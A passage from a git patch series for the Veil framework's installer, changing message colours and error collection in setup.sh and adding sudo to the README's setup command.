${YELLOW}Ensuring this account (${trueuser}) owns veil output directory (${outputdir})...${RESET}\n" sudo chown -R "${trueuser}" "${outputdir}" else - echo -e " ${RED}[ERROR] Internal Issue. Couldn't create output folder...${RESET}\n" + msg="Internal Issue. Couldn't create output folder..." + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi ## Ensure that user completely owns the wine directory @@ -812,9 +850,9 @@ else if [ "${os}" == "arch" ]; then echo -e " [I] ${YELLOW}Arch Linux ${arch} detected...${RESET}\n" elif [ "${os}" == "blackarch" ]; then - echo -e " [I] ${RED}BlackArch Linux ${arch} detected...${RESET}\n" + echo -e " [I] ${YELLOW}BlackArch Linux ${arch} detected...${RESET}\n" elif [ "${os}" == "debian" ]; then - echo -e " [!] ${RED}Debian Linux sid/TESTING ${arch} *possibly* detected..." + echo -e " [!] ${YELLOW}Debian Linux sid/TESTING ${arch} *possibly* detected..." echo -e " If you are not currently running Debian Testing, you should exit this installer!${RESET}\n" else echo -e " ${RED}[ERROR] Unable to determine OS information. Exiting...${RESET}\n" From 83558fa2f712fc196d20f0a3d00c3b5c675fac2d Mon Sep 17 00:00:00 2001 From: Chris Truncer Date: Mon, 23 Apr 2018 06:31:30 -0600 Subject: [PATCH 38/38] Added sudo for setup command for usability purposes --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index a7019c7..3d78c87 100644 --- a/README.md +++ b/README.md @@ -45,7 +45,7 @@ apt -y install veil sudo apt-get -y install git git clone https://github.com/Veil-Framework/Veil.git cd Veil/ -bash config/setup.sh --force --silent +sudo bash config/setup.sh --force --silent ``` ### ./config/setup.sh // Setup Files